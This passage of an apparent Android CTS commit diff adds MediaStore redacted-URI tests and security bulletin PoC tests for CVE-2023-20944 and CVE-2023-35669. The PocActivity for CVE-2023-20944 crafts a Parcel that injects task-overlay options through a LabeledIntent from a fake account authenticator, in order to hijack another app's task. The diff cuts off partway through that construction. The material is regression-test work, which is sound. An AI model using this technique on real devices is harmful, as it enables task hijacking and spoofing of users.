+ final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
+ try {
+ addressStoragePermissions(APP_E.getPackageName(), true);
+ grantPermission(APP_E.getPackageName(), Manifest.permission.ACCESS_MEDIA_LOCATION);
+
+ Uri redactedUri = shareAndGetRedactedUri(img, APP_E);
+ assertThat(isFileDescriptorRedacted(APP_E, redactedUri)).isTrue();
+ } finally {
+ img.delete();
+ }
+ }
+
+ /*
+ * Verify that the test app can't access unshared redacted uri via file descriptor
+ **/
+ @Test
+ public void testUnsharedRedactedUri_openFdForRead() throws Exception {
+ forceStopApp(APP_B_NO_PERMS.getPackageName());
+ forceStopApp(APP_E.getPackageName());
+ final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
+ try {
+ addressStoragePermissions(APP_E.getPackageName(), true);
+
+ final Uri redactedUri = getRedactedUri(img);
+ // APP_E has R_E_S, so should have access to redactedUri
+ assertThat(isFileDescriptorRedacted(APP_E, redactedUri)).isTrue();
+ assertThrows(SecurityException.class,
+ () -> isFileDescriptorRedacted(APP_B_NO_PERMS, redactedUri));
+ } finally {
+ img.delete();
+ }
+ }
+
+ /*
+ * Verify that the test app can't access unshared redacted uri via file path
+ **/
+ @Test
+ public void testUnsharedRedactedUri_openFileForRead() throws Exception {
+ forceStopApp(APP_B_NO_PERMS.getPackageName());
+ forceStopApp(APP_E.getPackageName());
+ final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
+ try {
+ addressStoragePermissions(APP_E.getPackageName(), true);
+
+ final Uri redactedUri = getRedactedUri(img);
+ // APP_E has R_E_S
+ assertThat(isFileOpenRedacted(APP_E, redactedUri)).isTrue();
+ assertThrows(IOException.class, () -> isFileOpenRedacted(APP_B_NO_PERMS, redactedUri));
+ } finally {
+ img.delete();
+ }
+ }
+
+ @Test
+ public void testGrantUriPermissionsForRedactedUri() throws Exception {
+ final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
+ final Uri redactedUri = getRedactedUri(img);
+ try {
+ getContext().grantUriPermission(APP_B_NO_PERMS.getPackageName(), redactedUri,
+ FLAG_GRANT_READ_URI_PERMISSION);
+ assertThrows(SecurityException.class, () ->
+ getContext().grantUriPermission(APP_B_NO_PERMS.getPackageName(), redactedUri,
+ Intent.FLAG_GRANT_WRITE_URI_PERMISSION));
+ } finally {
+ img.delete();
+ }
+ }
+
+ @Test
+ public void testDisallowedOperationsOnRedactedUri() throws Exception {
+ final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
+ final Uri redactedUri = getRedactedUri(img);
+ try {
+ ContentValues cv = new ContentValues();
+ cv.put(MediaStore.MediaColumns.DATE_ADDED, 1);
+ assertEquals(0, getContentResolver().update(redactedUri, new ContentValues(),
+ new Bundle()));
+ assertEquals(0, getContentResolver().delete(redactedUri, new Bundle()));
+ } finally {
+ img.delete();
+ }
+ }
+
+ @Test
+ public void testOpenOnRedactedUri_file() throws Exception {
+ final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
+ final Uri redactedUri = getRedactedUri(img);
+ try {
+ assertUriIsUnredacted(img);
+
+ final Cursor redactedUriCursor = getRedactedCursor(redactedUri);
+ File file = new File(
+ getStringFromCursor(redactedUriCursor, MediaStore.MediaColumns.DATA));
+ ExifInterface redactedExifInf = new ExifInterface(file);
+ assertUriIsRedacted(redactedExifInf);
+
+ assertThrows(FileNotFoundException.class, () -> new FileOutputStream(file));
+ } finally {
+ img.delete();
+ }
+ }
+
+ @Test
+ public void testOpenOnRedactedUri_write() throws Exception {
+ final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
+ final Uri redactedUri = getRedactedUri(img);
+ try {
+ assertThrows(UnsupportedOperationException.class,
+ () -> getContentResolver().openFileDescriptor(redactedUri,
+ "w"));
+ } finally {
+ img.delete();
+ }
+ }
+
+ @Test
+ public void testOpenOnRedactedUri_inputstream() throws Exception {
+ final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
+ final Uri redactedUri = getRedactedUri(img);
+ try {
+ assertUriIsUnredacted(img);
+
+ try (InputStream is = getContentResolver().openInputStream(redactedUri)) {
+ ExifInterface redactedExifInf = new ExifInterface(is);
+ assertUriIsRedacted(redactedExifInf);
+ }
+ } finally {
+ img.delete();
+ }
+ }
+
+ @Test
+ public void testOpenOnRedactedUri_read() throws Exception {
+ final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
+ final Uri redactedUri = getRedactedUri(img);
+ try {
+ assertUriIsUnredacted(img);
+
+ try (ParcelFileDescriptor pfd =
+ getContentResolver().openFileDescriptor(redactedUri, "r")) {
+ FileDescriptor fd = pfd.getFileDescriptor();
+ ExifInterface redactedExifInf = new ExifInterface(fd);
+ assertUriIsRedacted(redactedExifInf);
+ }
+ } finally {
+ img.delete();
+ }
+ }
+
+ @Test
+ public void testOpenOnRedactedUri_readFuzzer() throws Exception {
+ final File img = stageFuzzerImageFileWithMetadata(FUZZER_HEIC_FILE_NAME);
+ final Uri redactedUri = getRedactedUri(img);
+ try {
+ assertUriIsUnredacted(img);
+
+ try (ParcelFileDescriptor pfd =
+ getContentResolver().openFileDescriptor(redactedUri, "r")) {
+ FileDescriptor fd = pfd.getFileDescriptor();
+ int bufSize = 0x1000000;
+ byte[] data = new byte[bufSize];
+ int fileSize = Os.read(fd, data, 0, bufSize);
+ assertUriIsRedacted(data, fileSize);
+ }
+ } finally {
+ img.delete();
+ }
+ }
+
+ private void testRedactedUriCommon(Uri uri, Uri redactedUri) {
+ assertEquals(redactedUri.getAuthority(), uri.getAuthority());
+ assertEquals(redactedUri.getScheme(), uri.getScheme());
+ assertNotEquals(redactedUri.getPath(), uri.getPath());
+ assertNotEquals(redactedUri.getPathSegments(), uri.getPathSegments());
+
+ final String uriId = redactedUri.getLastPathSegment();
+ assertThat(uriId.startsWith("RUID")).isTrue();
+ assertEquals(uriId.length(), 36);
+ }
+
+ private Uri shareAndGetRedactedUri(File file, TestApp testApp) {
+ final Uri redactedUri = getRedactedUri(file);
+ getContext().grantUriPermission(testApp.getPackageName(), redactedUri,
+ FLAG_GRANT_READ_URI_PERMISSION);
+
+ return redactedUri;
+ }
+
+ private Uri getRedactedUri(File file) {
+ final Uri uri = MediaStore.scanFile(getContentResolver(), file);
+ return MediaStore.getRedactedUri(getContentResolver(), uri);
+ }
+
+ private void assertUriIsUnredacted(File img) throws Exception {
+ final ExifInterface exifInterface = new ExifInterface(img);
+ assertNotEquals(exifInterface.getGpsDateTime(), -1);
+
+ float[] latLong = new float[]{0, 0};
+ exifInterface.getLatLong(latLong);
+ assertNotEquals(latLong[0], 0);
+ assertNotEquals(latLong[1], 0);
+ }
+
+ private void assertUriIsRedacted(ExifInterface redactedExifInf) {
+ assertEquals(redactedExifInf.getGpsDateTime(), -1);
+ float[] latLong = new float[]{0, 0};
+ redactedExifInf.getLatLong(latLong);
+ assertEquals(latLong[0], 0.0, 0.0);
+ assertEquals(latLong[1], 0.0, 0.0);
+ }
+
+ private void assertUriIsRedacted(byte[] data, int fileSize) {
+ // Data in redaction ranges should be zero.
+ int[] start = new int[]{50538, 712941, 712965, 712989, 713033, 713101};
+ int[] end = new int[]{711958, 712943, 712967, 712990, 713100, 713125};
+
+ assertTrue(fileSize == 4407744);
+ for (int index = 0; index < start.length && index < end.length; index++) {
+ for (int c = start[index]; c < end[index]; c++) {
+ assertTrue("It should be zero!", data[c] == (byte) 0);
+ }
+ }
+ }
+
+ private Cursor getRedactedCursor(Uri redactedUri) {
+ Cursor redactedUriCursor = getContentResolver().query(redactedUri, null, null, null);
+ assertNotNull(redactedUriCursor);
+ assertThat(redactedUriCursor.moveToFirst()).isTrue();
+
+ return redactedUriCursor;
+ }
+
+ private String getStringFromCursor(Cursor c, String colName) {
+ return c.getString(c.getColumnIndex(colName));
+ }
+
+ private File stageImageFileWithMetadata(String name) throws Exception {
+ return stageImageFileWithMetadata(name, R.raw.img_with_metadata);
+ }
+
+ private File stageFuzzerImageFileWithMetadata(String name) throws Exception {
+ return stageImageFileWithMetadata(name, R.raw.fuzzer);
+ }
+
+ private File stageImageFileWithMetadata(String name, int sourceId) throws Exception {
+ final File img = new File(
+ Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DCIM), name);
+
+ try (InputStream in =
+ getContext().getResources().openRawResource(sourceId);
+ OutputStream out = new FileOutputStream(img)) {
+ // Dump the image we have to external storage
+ FileUtils.copy(in, out);
+ }
+
+ return img;
+ }
+} \ No newline at end of file
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_20944.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_20944.java
new file mode 100644
index 00000000000..5d412d4caf3
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_20944.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2023_20944 extends NonRootSecurityTestCase {
+
+ // b/244154558
+ // Vulnerable module : services.jar
+ // Vulnerable module : Not applicable
+ // Is Play Managed : No
+ @AsbSecurityTest(cveBugId = 244154558)
+ @Test
+ public void testPocCVE_2023_20944() {
+ try {
+ final String testPkg = "android.security.cts.CVE_2023_20944_test";
+
+ // Install the test and target apps
+ installPackage("CVE-2023-20944-test.apk");
+ installPackage("CVE-2023-20944-target.apk");
+
+ // Run the test "testCVE_2023_20944"
+ runDeviceTests(testPkg, testPkg + ".DeviceTest", "testCVE_2023_20944");
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_35669.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_35669.java
new file mode 100644
index 00000000000..06dffc403f3
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_35669.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2023_35669 extends NonRootSecurityTestCase {
+
+ @AsbSecurityTest(cveBugId = 265798288)
+ @Test
+ public void testPocCVE_2023_35669() {
+ try {
+ // Install the test and target apps
+ installPackage("CVE-2023-35669-test.apk");
+ installPackage("CVE-2023-35669-target.apk");
+
+ final String testPkg = "android.security.cts.CVE_2023_35669_test";
+
+ // Run the test "testCVE_2023_35669"
+ runDeviceTests(testPkg, testPkg + ".DeviceTest", "testCVE_2023_35669");
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/Android.bp
new file mode 100644
index 00000000000..89c9df9637b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/Android.bp
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2023-20944-target",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "target-app/src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ manifest: "target-app/AndroidManifest.xml",
+ sdk_version: "current",
+}
+
+android_test_helper_app {
+ name: "CVE-2023-20944-test",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "test-app/src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ ],
+ manifest: "test-app/AndroidManifest.xml",
+ resource_dirs: [
+ "res",
+ "test-app/res",
+ ],
+ platform_apis: true,
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/res/values/strings.xml
new file mode 100644
index 00000000000..17f8d12949c
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/res/values/strings.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="accountType">android.security.cts.CVE_2023_20944_test.account</string>
+ <string name="actionTarget">actionTarget</string>
+ <string name="activityName">android.accounts.ChooseTypeAndAccountActivity</string>
+ <string name="activityTarget">android.security.cts.CVE_2023_20944_target.TargetActivity</string>
+ <string name="allowableAccountTypes">allowableAccountTypes</string>
+ <string name="bcastActionTarget">CVE_2023_20944_TargetActivity</string>
+ <string name="launchTaskId">android.activity.launchTaskId</string>
+ <string name="msgFail">Device is vulnerable to b/244154558 !!</string>
+ <string name="noExceptionMsg">no exception</string>
+ <string name="pkgName">android</string>
+ <string name="pkgTarget">android.security.cts.CVE_2023_20944_target</string>
+ <string name="pocCrashedMsg">PocActivity crashed with exception: %s</string>
+ <string name="pocFailedMsg">pocActivity failed</string>
+ <string name="spannableString">AAAAAAAAAAAA\n</string>
+ <string name="status">status</string>
+ <string name="targetFailMsg">TargetActivity did not launch successfully</string>
+ <string name="taskId">taskId</string>
+ <string name="taskOverlay">android.activity.taskOverlay</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/target-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/target-app/AndroidManifest.xml
new file mode 100644
index 00000000000..dc41a97e44f
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/target-app/AndroidManifest.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2023_20944_target">
+ <application>
+ <activity android:name=".TargetActivity"
+ android:exported="true" />
+ </application>
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/target-app/src/android/security/cts/CVE_2023_20944_target/TargetActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/target-app/src/android/security/cts/CVE_2023_20944_target/TargetActivity.java
new file mode 100644
index 00000000000..03b7c27344a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/target-app/src/android/security/cts/CVE_2023_20944_target/TargetActivity.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_20944_target;
+
+import android.app.Activity;
+import android.content.Intent;
+
+public class TargetActivity extends Activity {
+
+ @Override
+ protected void onResume() {
+ try {
+ super.onResume();
+ sendBroadcast(new Intent(getString(R.string.bcastActionTarget))
+ .putExtra(getString(R.string.actionTarget), true)
+ .putExtra(getString(R.string.taskId), getTaskId()));
+ } catch (Exception ignored) {
+ // ignoring exceptions here
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/test-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/test-app/AndroidManifest.xml
new file mode 100644
index 00000000000..45cb90b9ea9
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/test-app/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2023_20944_test">
+ <application>
+ <activity android:name=".PocActivity" />
+ <activity android:name=".HijackActivity" />
+ <service android:name=".PocAuthService"
+ android:exported="false">
+ <intent-filter>
+ <action android:name="android.accounts.AccountAuthenticator" />
+ </intent-filter>
+ <meta-data
+ android:name="android.accounts.AccountAuthenticator"
+ android:resource="@xml/authenticator" />
+ </service>
+ </application>
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2023_20944_test" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/test-app/res/xml/authenticator.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/test-app/res/xml/authenticator.xml
new file mode 100644
index 00000000000..c58bc2e0f5e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/test-app/res/xml/authenticator.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<account-authenticator xmlns:android="http://schemas.android.com/apk/res/android"
+ android:accountType="android.security.cts.CVE_2023_20944_test.account" />
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/test-app/src/android/security/cts/CVE_2023_20944_test/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/test-app/src/android/security/cts/CVE_2023_20944_test/DeviceTest.java
new file mode 100644
index 00000000000..a0c7a241de5
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/test-app/src/android/security/cts/CVE_2023_20944_test/DeviceTest.java
@@ -0,0 +1,126 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_20944_test;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.ActivityTaskManager;
+import android.app.IActivityTaskManager;
+import android.app.UiAutomation;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.ServiceManager;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+import java.util.List;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ private String mPocActivityStatus;
+ private int mTaskId;
+
+ @Test
+ public void testCVE_2023_20944() {
+ try {
+ final int waitMs = 5000;
+ final int waitPerIter = 200;
+ Context context = getInstrumentation().getContext();
+ UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
+ uiAutomation.adoptShellPermissionIdentity();
+
+ // Registering a receiver here to wait for a broadcast from TargetActivity
+ final Semaphore targetReturn = new Semaphore(0);
+ final Semaphore pocReturn = new Semaphore(0);
+ BroadcastReceiver broadcastReceiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ try {
+ if ((intent.getBooleanExtra(context.getString(R.string.actionTarget), false)
+ && (mTaskId = intent.getIntExtra(context.getString(R.string.taskId),
+ -1)) != -1)) {
+ targetReturn.release();
+ }
+ if ((mPocActivityStatus = intent
+ .getStringExtra(context.getString(R.string.status))) != null) {
+ pocReturn.release();
+ }
+ } catch (Exception ignored) {
+ // ignore any exceptions
+ }
+ }
+ };
+ IntentFilter filter = new IntentFilter(context.getString(R.string.bcastActionTarget));
+ context.registerReceiver(broadcastReceiver, filter);
+
+ // Start TargetActivity
+ Intent targetIntent = new Intent(Intent.ACTION_MAIN);
+ final String pkgTarget = context.getString(R.string.pkgTarget);
+ targetIntent.setClassName(pkgTarget, context.getString(R.string.activityTarget));
+ targetIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ context.startActivity(targetIntent);
+ assumeTrue(context.getString(R.string.targetFailMsg),
+ targetReturn.tryAcquire(waitMs, TimeUnit.MILLISECONDS));
+
+ // Start PocActivity which in turn starts the ChooseTypeAndAccountActivity
+ Intent intent = new Intent(context, PocActivity.class);
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ context.startActivity(intent);
+ assumeTrue(context.getString(R.string.pocFailedMsg),
+ pocReturn.tryAcquire(waitMs, TimeUnit.MILLISECONDS));
+ assumeTrue(context.getString(R.string.pocCrashedMsg, mPocActivityStatus),
+ mPocActivityStatus.equals(context.getString(R.string.noExceptionMsg)));
+
+ // Failing the test if the taskId received from the target activity matches with the
+ // list of running taskId and topActivity has HijackActivity in the same taskId.
+ IActivityTaskManager iActivityTaskManager = IActivityTaskManager.Stub
+ .asInterface(ServiceManager.getService(Context.ACTIVITY_TASK_SERVICE));
+ long start = System.currentTimeMillis();
+ while (!(iActivityTaskManager.getAllRootTaskInfos().toString()
+ .contains(HijackActivity.class.getName()))
+ && System.currentTimeMillis() - start < waitMs) {
+ Thread.sleep(waitPerIter);
+ }
+ boolean isDeviceVulnerable = false;
+ List<ActivityTaskManager.RootTaskInfo> runningTasks =
+ iActivityTaskManager.getAllRootTaskInfos();
+ for (ActivityTaskManager.RootTaskInfo runningTaskInfo : runningTasks) {
+ for (int i = 0; i < runningTaskInfo.childTaskIds.length; ++i) {
+ if (mTaskId == runningTaskInfo.childTaskIds[i] && runningTaskInfo.topActivity
+ .getClassName().equals(HijackActivity.class.getName())) {
+ isDeviceVulnerable = true;
+ break;
+ }
+ }
+ }
+ assertFalse(context.getString(R.string.msgFail), isDeviceVulnerable);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/test-app/src/android/security/cts/CVE_2023_20944_test/HijackActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/test-app/src/android/security/cts/CVE_2023_20944_test/HijackActivity.java
new file mode 100644
index 00000000000..921ffcd175e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/test-app/src/android/security/cts/CVE_2023_20944_test/HijackActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_20944_test;
+
+import android.app.Activity;
+
+public class HijackActivity extends Activity {
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/test-app/src/android/security/cts/CVE_2023_20944_test/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/test-app/src/android/security/cts/CVE_2023_20944_test/PocActivity.java
new file mode 100644
index 00000000000..a4fb874d223
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20944/test-app/src/android/security/cts/CVE_2023_20944_test/PocActivity.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_20944_test;
+
+import android.app.Activity;
+import android.accounts.AccountManager;
+import android.content.Intent;
+import android.content.pm.LabeledIntent;
+import android.os.Bundle;
+import android.os.Parcel;
+import android.os.PersistableBundle;
+import android.text.SpannableString;
+import android.text.style.TtsSpan;
+
+public class PocActivity extends Activity {
+
+ @Override
+ protected void onResume() {
+ try {
+ super.onResume();
+ int targetTaskId = getTaskId() - 1;
+ Bundle options = new Bundle();
+ options.putBoolean(getString(R.string.taskOverlay), true);
+ options.putInt(getString(R.string.launchTaskId), targetTaskId);
+ LabeledIntent targetIntent =
+ new LabeledIntent(null, createLabelInjectingOptions(options), 0);
+ targetIntent.addFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT);
+ targetIntent.setClassName(this, HijackActivity.class.getName());
+
+ // Return LabeledIntent from AuthService.addAccount
+ PocAuthService.sAddAccountResponse = new Bundle();
+ PocAuthService.sAddAccountResponse.putParcelable(AccountManager.KEY_INTENT,
+ targetIntent);
+ startActivityForResult(new Intent()
+ .setClassName(getString(R.string.pkgName), getString(R.string.activityName))
+ .putExtra(getString(R.string.allowableAccountTypes),
+ new String[] {getString(R.string.accountType)}),
+ 1);
+ sendBroadcast(new Intent(getString(R.string.bcastActionTarget))
+ .putExtra(getString(R.string.status), getString(R.string.noExceptionMsg)));
+ } catch (Exception e) {
+ try {
+ sendBroadcast(new Intent(getString(R.string.bcastActionTarget))
+ .putExtra(getString(R.string.status), e.getMessage()));
+ } catch (Exception ignored) {
+ // ignore any exceptions
+ }
+
+ }
+ }
+
+ private CharSequence createLabelInjectingOptions(Bundle options) {
+ final int BUNDLE_MAGIC = 0x4C444E42; // 'B' 'N' 'D' 'L', copied from BaseBundle
+ Parcel p = Parcel.obtain();
+
+ p.writeInt(0); // Will hold length
+ p.writeInt(BUNDLE_MAGIC);
+
+ // BEGIN data
+ int startOffset = p.dataPosition();
+ p.writeInt(0); // \0 at end of resultWho
+ p.writeInt(-1); // requestCode
+ p.writeInt(0); // flags
+ p.writeInt(0); // profilerInfo == null
+ p.writeInt(1); // options != null
